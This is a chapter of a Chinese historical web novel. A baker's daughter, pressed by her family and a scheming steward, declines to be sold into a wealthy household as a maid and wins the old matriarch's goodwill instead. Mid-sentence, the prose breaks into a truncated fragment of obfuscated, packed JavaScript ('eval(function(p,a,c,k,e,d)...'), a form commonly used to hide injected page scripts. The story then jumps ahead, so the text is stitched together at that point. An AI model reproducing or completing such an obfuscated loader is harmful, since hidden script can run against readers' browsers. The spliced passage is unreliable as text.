胡裪听了，心里一动，故意吹嘘：“小兄弟若有需要，来金鱼巷铺子里说便是。只是单子排得满，得提前些日子定。” 安溪点点头：“那是自然，改日我便上门细说。” 12. 第十二章 自那日喜宴过了许多天，张老爷的母亲，张家老祖宗又想起饽饽的事情。 老太太在佛堂念完了经，由王嬷嬷搀着往厢房里歇息。她靠在榻上，吃了半盏蜜渍梅汤，问：“上回用的饽饽是哪家的？” 王嬷嬷回道：“听说是金鱼巷子里一个姑娘做的，才十六七岁，生得也齐整。” 老太太听了微微撑起身子，来了兴致：“哦？一个姑娘家，有这样的手艺？” 王嬷嬷道：“何止手艺。老奴听前头的丫头说，那姑娘来补喜鹊的时候，不卑不亢的，满院的贵客围着她看，她连眼皮都不抬一下，只管埋头做活。补完了，张管家赏银子，人家推辞了一回才收，礼数周全得很。” 老太太点了点头，忽然道：“这样好的孩子倒难得。去把张福叫来，我问问。” 张福便是张管家。不多时，他便到了佛堂外头，先在门槛外站定了，整了整衣帽，这才轻手轻脚地进来，跪在榻前磕了个头：“老太太安。” 老太太摆摆手叫他起来，问道：“做饽饽那个姑娘是哪家的？你细细说来。” 张福站起来，躬着身子道：“回老太太，是城里金鱼巷胡记饽饽铺家的闺女，姓胡，小名唤作阿荞，今年十六。她爹胡有福，在城里开了四年铺子，卖馒头饽饽为生。家里头上有爹娘、哥嫂，底下还有一个十二岁的弟弟，满岁的侄儿。” 老太太听了，又问：“家境如何？” 张福道：“不瞒老太太，不大宽裕。胡家原是乡下的，现在还欠着账局银子。今年春上胡有福又得了一场大病，把攒下的银子花了个干净，眼瞅着年底要还账，急得什么似的。” 老太太沉吟片刻，忽然叹了口气：“这样人家的孩子，还能养成这般模样，倒是不易。” 张福会意，顺着话头道：“老太太说的是。那姑娘老奴见过几回，说话行事都极有分寸。又生得眉清目秀，自有一种干净利落的气派。最难得的是她那份手艺，老奴活了半辈子没见过第二份。喜宴前头的宾客，好几个都问是哪家做的，说要定呢。” 王嬷嬷在一旁笑道：“老太太这是动了怜才的心？” 老太太也不否认，靠在引枕上，慢慢道：“咱们府上这几年添的人，不是笨手笨脚的，就是性子毛躁的。若有个这样又伶俐又稳当的孩子在身边，倒是一桩好事。” 张福听了，心里便活泛起来。他与胡裪打过两回交道，头一回那三两银子的好处虽不算多，却叫他觉着这姑娘懂事、识趣。如今老太太既有这个意思，他居中跑一趟，两边都能落个好。再者说，这样的好孩子进了府，往后在老太太跟前得脸，他今日出的力，日后自然有回报。 他便笑道：“老太太好眼力。这姑娘若进了府，不说旁的，单她那手艺，逢年过节做几样新鲜饽饽，老太太看着也欢喜不是？” 老太太笑了笑，道：“只是人家好好的闺女，未必肯卖。” 张福忙道：“老太太说哪里话。胡家正急着还账。再者说，咱们府上是什么人家？多少人家想把闺女送进来还送不进来呢。老太太又最是慈悲的，从不苛待下人，逢年过节还有赏钱。这样的去处，打着灯笼也难找。” 老太太听了这话，心里便有了几分底，又道：“既是这样的好孩子，价钱低了，倒显得咱们不尊重。” 张福沉吟道：“老太太说的是。这姑娘有一手好手艺，便是到外头去，也能自己挣出口吃食来。价钱低了，她爹娘恐怕不依。依老奴愚见——” 老太太打断：“我出六十六两，取个六六大顺的吉利数。你去问问，若他爹娘愿意，便定下来。” 张福心里一喜，面上却不露，恭恭敬敬地应了，又磕了个头，退了出去。 出了佛堂，张福的步子便轻快起来。他心里头飞快地盘算了一番： 六十六两，这是老太太出的价。他先去跟胡家说，只道老太太出五十五两。 中间这十一两，他落六两，再拿五两打点跟着去的中人和车马，神不知鬼不觉。这种事他在府里当差十几年，做得惯熟，不过是多费几句嘴皮子的事。 他也不耽搁，换了身干净衣裳，叫了府里一个姓刘的管事同去。刘管事专管外头采买，与城中牙行、铺户都熟络，带上他，显得郑重，也好说话。 二人雇了头驴，一径往金鱼巷来。 到得胡记铺子门前，已是申牌时分。胡祥正趴在柜台上打盹，听见脚步声一激灵，见是两个体面人，忙站起来，怯生生道：“二位客官，买馒头？” 张福笑道：“小兄弟，我找你爹有事，烦你通报一声。” 胡祥一溜烟跑进后院，不多时，胡有福便迎了出来，围裙还没解，手上沾着面粉，见了张福先是一愣，随即堆起笑脸：“哎呀，张管家！什么风把您吹来了？快请进，快请进！” 张福摆摆手，笑道：“胡大叔，不忙进去。我今日来，是有一桩好事要跟您商量。烦您借一步说话。” 胡有福心里咯噔一下，把手在围裙上擦了擦，引着二人往堂屋里坐。王翠正在堂屋收拾碗筷，见来了客人，忙倒了茶，又躲到里屋去了。 张福坐下，先呷了一口茶，介绍道：“这是我们刘管家，府里专管采买。” 胡有福还没弄明白怎么回事儿，刘管家就笑眯眯开了口：“胡大叔，我给您道喜。今儿个我们老太太说起您家的姑娘，喜欢的了不得，直夸姑娘手巧、人又齐整。我们老太太是最惜才的，又信佛，心善得很。您怕是不知道，老太太夏天连花园都不去，就怕踩伤了虫子。前日有个小厮走路不长眼，踩死了一只飞蛾，老太太瞧见了，叫人赏了他五板子，罚到柴房去了。阖府上下，谁不夸老太太慈悲？” 胡有福不知他葫芦里卖的什么药，只得陪着笑点头：“老太太菩萨心肠，阖县都知道的。” 刘管家话锋一转，笑道：“我们老太太的意思，是想买您家姑娘进府，在身边伺候。胡大叔，这可是天大的好事！您家姑娘进了府，吃的是细米白面，穿的是绫罗绸缎，比在家里起早贪黑揉面蒸馒头，不强似百倍？” 胡有福张了张嘴，一时不知说什么好。卖女这事儿前些日子才闹过一场，胡裪提着菜刀站在门口，那冷森森的眼神，他现在想起来还后背发凉。 可刘管家说的也有理，张府是什么人家？城北头一份的大户，老太太又是个慈悲的，比那吴员外家不知强了多少。 他心里正翻来覆去地掂量，刘管家又开口了：“老太太愿意出五十五两银子买您家姑娘进府。胡大叔，这个价可是实打实的公道价。寻常买个七八岁的小丫头，不过六七两。便是买个案上的姑娘，也才三四十两，您家姑娘这个价，那是老太太看重她。” 五十五两。 胡有福的手指头不自觉地搓了一下。他欠账局的钱年底就要还，这会儿手里拢共才二十来两。 若有了这五十五两，两年的钱能一起还上，铺子就彻底改姓了。 可阿荞那丫头的脾气, 他正犹豫着，里屋忽然传来一声脆响，紧接着门帘一掀，胡裪从里头走了出来。 她脸上没什么表情，眼睛却亮得吓人。在两位管家面前站定，道：“大叔，您的好意我们心领了。只是我爹娘就我一个女儿，家里离不开我。我——” 她话还没说完，张福便笑着摆了摆手，眼睛却不看她，只看着胡有福：“胡大叔，您家姑娘这是孝顺，舍不得爹娘。可话说回来，姑娘家大了，总得出门子。与其嫁到不知根底的人家去，不如进府伺候老太太。若姑娘伺候得好，日后老太太开恩，指一门好亲事，那也是常有的事。” 他顿了顿，又笑道：“再者说，这桩事，还是得您做主。哪有女孩儿自己张嘴的？” 这话说得很明白——你闺女愿不愿意不要紧，只要你点头，这事就成了。 胡裪脸色一白，只觉得遍体生寒。一时间顾及不了那么多，拽了拽胡有福，附耳道：“爹，您先别急着答应。您听我说几句。” “今儿是七月初，不到九十天就十月了。十月是什么月份？婚嫁的事一桩接一桩。城里多少大户人家等着办喜事？张家饽饽摆出去后，满城的老爷少爷都瞧见了，用不了几日定单就得送上门来。爹，您想想，若是一家定十六两银子，接上三四家，那就是五六十两。一个月就能赚出来。” “这一年又许多的好月份，一年不多说，就是接三十个单子，还有四五百两银子呢。” 她顿了顿，又道：“等思齐八岁开蒙，攒下的银子足够他请先生、买纸笔，好好读书。思齐若是读出个名堂来，那就是改换门庭的事。爹，您一辈子辛辛苦苦，不就是为了这个？” 句句戳在胡有福的心坎上。他这辈子最大的念想，就是供孙子读书，叫胡家改换门庭。若阿荞真能凭着这门手艺攒下银子，供思齐读书…… 这么一想，面上就带了犹豫。 张福见势不妙，忙笑道：“饽饽的生意今儿有明儿无的，谁能说得准？可我们老太太出的价，那是实打实的五十五两白花花的银子，揣在怀里就能去账局还账。您要是错过了这个村可就没这个店了。” 胡有福搓着手，脸上的神色变了又变，半晌才道：“张管家，容我想想，容我想想……” 张福也不逼他，站起身来，笑道：“那成，胡大叔您好好想想，我过两日再来听信儿。只是别想得太久，我们老太太那边还等着回话呢。”说罢，拱了拱手，带着刘管事走了。 两个人前脚出门，后脚堂屋里便炸了锅。 王翠从里屋冲出来，一把抓住胡有福的胳膊，眼圈通红：“当家的，现在家里可不愁着还账，你可不能卖了阿荞！” 胡有福甩开她的手，烦躁道：“谁说卖了？我说容我想想！” “想想也不行！”王翠的嗓门高起来，“上回你要卖她去吴家，她就拿了菜刀！你是想逼死她不成？” 陈喜妹不知什么时候也站在了门口，她看了看胡裪，又看了看胡有福，忽然开口：“爹，阿荞不能卖。她那一手手艺，咱们家指着她翻身呢。您要是把她卖了，往后谁来做饽饽？张家那单子，要不是阿荞，咱们连想都不敢想。” 胡佑也走了进来，他站在门边，双手抱在胸前，脸上没什么表情，眼睛却一直盯着胡有福。 他心里酸得很。自从阿荞露了那手艺，爹的眼珠子就黏在她身上了。往常爹有什么话，都是先跟他说，如今倒好，事事都要问阿荞的主意。连上回娘跟喜妹拌嘴，阿荞一开口，爹就依了她。 更叫他堵心的是喜妹。自打她手里有了那一两银子，整个人都变了。从前什么都跟他说，银子也交给他管，如今倒好，那银子揣在怀里连看都不让他看一眼。他问一句，她就拿白眼翻他，说什么“这是我自己挣的，你管得着吗”。他自己的媳妇，他管不着？ 他心里头转过千百个念头：“爹，我倒是觉得，张府这个去处不坏。” “张府是什么人家？城北头一份的大户。老太太又是个慈悲的，比那吴员外家强了不知多少。阿荞若是进了府，在老太太跟前伺候，那是她的福分。” “再者说，阿荞生得齐整，手又巧，老太太疼她，日后说不定抬举她给少爷做妾。若能开脸做了正经姨娘，那可是一辈子的福分。到那时候咱们家还用得着卖饽饽？攀上张府这门亲戚，还愁什么？” “大哥这话说得真好，”胡祹阴阳怪气，“妹妹听了，真该磕头谢恩才是。” 她转向胡有福：“爹，我今儿把话撂在这儿。就算我真的当了姨娘，也不过是人家的奴才，签了卖身契，生死都由着人家。哥哥嫂嫂日后见了，还得磕头请安，叫一声‘姨奶奶’。大哥若是有志气，就不该想着扒妹妹的裙带往上爬。” 胡佑的脸腾地红了，张嘴要骂，胡裪却不给他开口的机会，又道：“再者说，若是哪天女儿福薄，在府里有个三长两短，左右是人家的奴婢，打死了也不过赔几两银子。到那时候，想必爹和哥哥还能拿一笔赏钱，真是皆大欢喜。” 这话说得太狠了，王翠“哇”的一声哭了出来，一把搂住胡裪，骂道：“你说什么胡话！什么三长两短！你要是有个好歹，娘也不活了！” 王翠哭得上气不接下气，忽然松开胡裪，转身一把揪住胡佑的衣领，劈头盖脸地骂道：“你这个不争气的东西！你是当大哥的，不想着护着妹妹，倒撺掇着把她卖了换钱！你的心是什么做的？黑了吗？烂了吗？我告诉你，你要是敢打阿荞的主意，我先跟你拼了！” 胡佑被她骂得脸色青一阵白一阵，想挣开又不敢动手，只得梗着脖子道：“娘，我这不是为家里着想吗？” “放你娘的屁！”王翠难得对长子骂出这样的粗话，“你妹妹那一手手艺，一个月就能挣五六十两，还愁还不上账？” 胡有福被吵得头疼，一拍桌子：“都给我住嘴！” 屋子里顿时安静下来。 胡有福坐在那里，佝偻着背，两只手撑在膝盖上，看着地面，半晌才道：“都别吵了，张家的事儿我不答应。” 王翠的哭声戛然而止，惊喜非常。 胡有福又道：“可是阿荞，张家那边得你自己去回，要是人家强买……人家势大，就不能怪你爹了。” 胡祹嗯了一声， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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过了约莫一刻钟，一个小丫头跑出来，笑嘻嘻地道：“老太太请姑娘进去。” 胡裪自己抱着饽饽盒，跟小丫头穿过甬道、月亮门，又过了两道穿堂，才到了老太太的佛堂。 佛堂不大，却收拾得一尘不染，正中供着一尊观音像，像前香炉里袅袅地燃着檀香。老太太靠在窗下的软榻上，王嬷嬷在旁边伺候着。 胡裪进门，先把食盒放在地上，然后跪下，端端正正地磕了三个头：“老太太万福。” 老太太微微欠身，笑道：“起来吧，走近些让我瞧瞧。” 胡裪站起来，往前走了两步，垂手站好。老太太把她上下打量了一番，见她虽然穿着粗布衣裳，却收拾得干干净净，眉目清秀，举止稳重，心里先喜欢了三分。 “这就是做饽饽的那个姑娘？”老太太转头问王嬷嬷。 王嬷嬷笑道：“正是来呢，那盒子里是饽饽不是？。” 胡祹：“嬷嬷说的是。” 老太太来了兴致，叫胡裪把食盒打开。胡裪应了一声，蹲下身，轻轻揭开盖子。 食盒里，寿星捧桃稳稳地坐着。 老太太的眼睛一下子亮了。叫王嬷嬷把寿星捧出来，搁在榻上的小几上。她歪着头看了半晌，喜欢道：“你们瞧，这寿星的眉毛胡子，一丝一丝的，跟真的似的。这衣裳的褶子，怎么压出来的？也太巧了。” 王嬷嬷也凑过来看，啧啧称奇：“老太太，您看这桃子，还带着叶儿呢。这姑娘的手，怕是天仙织女下凡了。” 老太太笑得合不拢嘴，看了好一会儿，才想起胡裪还站着，忙道：“坐下说话。” 胡裪谢了座，在绣墩上坐了半边。 老太太端起茶碗呷了一口，笑眯眯地道：“你叫什么名字？家里还有什么人？” 胡裪一一答了，声音不高不低，不快不慢。说到家里欠着账局的银子时，她也不遮掩，实打实地说了。老太太听了，点了点头，心里越发觉得这孩子实诚。 胡裪说完，忽然站起来，又跪了下去。 老太太一愣：“这是怎么了？” 胡裪伏在地上，一字一句说得分明：“老太太，今日我来，一是给老太太请安，二是给老太太献这个寿桃。老太太菩萨心肠，您的恩德我们不能不念。可我……我实在不能来府上伺候老太太。” 她道：“我是我爹娘的独女，生长十六年，也没来得及报答爹娘，因此不敢侍奉老太太。老太太的恩德，我记在心里，这辈子都不敢忘。这个寿桃，是我父亲叫我做的，献给老太太，祝老太太福如东海，寿比南山。” 老太太看着她伏在地上的身影，沉默了好一会儿，半晌叹了口气，道：“起来吧。” 胡裪站起来，垂手站着，眼眶有些红，却始终没掉下泪来。 老太太笑道：“你这孩子，倒是个有孝心的。你爹娘舍不得你，你也舍不得你爹娘，这是好事。孝悌忠信，孝字当头，我若是硬把你买来，倒成了我的不是了。” 胡裪忙道：“老太太言重了。是我不懂事，辜负了老太太的美意。” 老太太摆摆手，笑道：“罢了罢了，强扭的瓜不甜。你这个寿桃我收下了，比什么礼物都强。” 她转头对王嬷嬷道：“去，拿五两银子来，给这姑娘做赏钱。” 胡裪忙跪下推辞：“老太太，使不得。这寿桃是我的一点心意，不敢要老太太的赏。” 老太太笑道：“给你你就拿着。你一个姑娘家，大老远跑来，又费了这么大工夫做这个寿桃，我若不赏，显得我小气。” 胡祹坚决推辞：“我们小门小户，没什么值当东西，只能做个饽饽送来。若老太太要赏，我们倒成什么了？” 老太太这才作罢，“你那个饽饽铺子，往后好好开着。若有什么事只管来找张福，他能帮的自然会帮你。” 这话说得很明白了。往后在这阳城县，胡记饽饽铺有了张府这座靠山。 胡裪大喜过望，又磕了个头：“多谢老太太。” 老太太打了个哈欠，显出几分倦意来。王嬷嬷知机，提醒道：“老太太该歇晌了。” 胡裪忙起身告辞。老太太叫王嬷嬷送她出去，又吩咐道：“用我的车送，别叫人家姑娘走回去。” 胡裪千恩万谢地出了佛堂，王嬷嬷一路送到后门。门口果然停着一辆青帷马车，比胡有福雇的那辆阔气多了。车夫是个老成的人，见王嬷嬷亲自送来，忙跳下车，殷勤地掀开帘子。 胡裪爬上马车，坐好了，车帘放下来，马车便稳稳当当地往金鱼巷去了。 马车辘辘地走过长街，拐进金鱼巷。胡裪掀开帘子，远远看见铺子门口站着一个人——胡祥。他伸着脖子往巷口张望，看见马车还不敢确定，直到他姐唤他才敢信，随即撒腿就跑，一边跑一边喊：“爹！娘！姐姐回来了！” 胡裪看着他那个样子，吧嗒掉下泪来。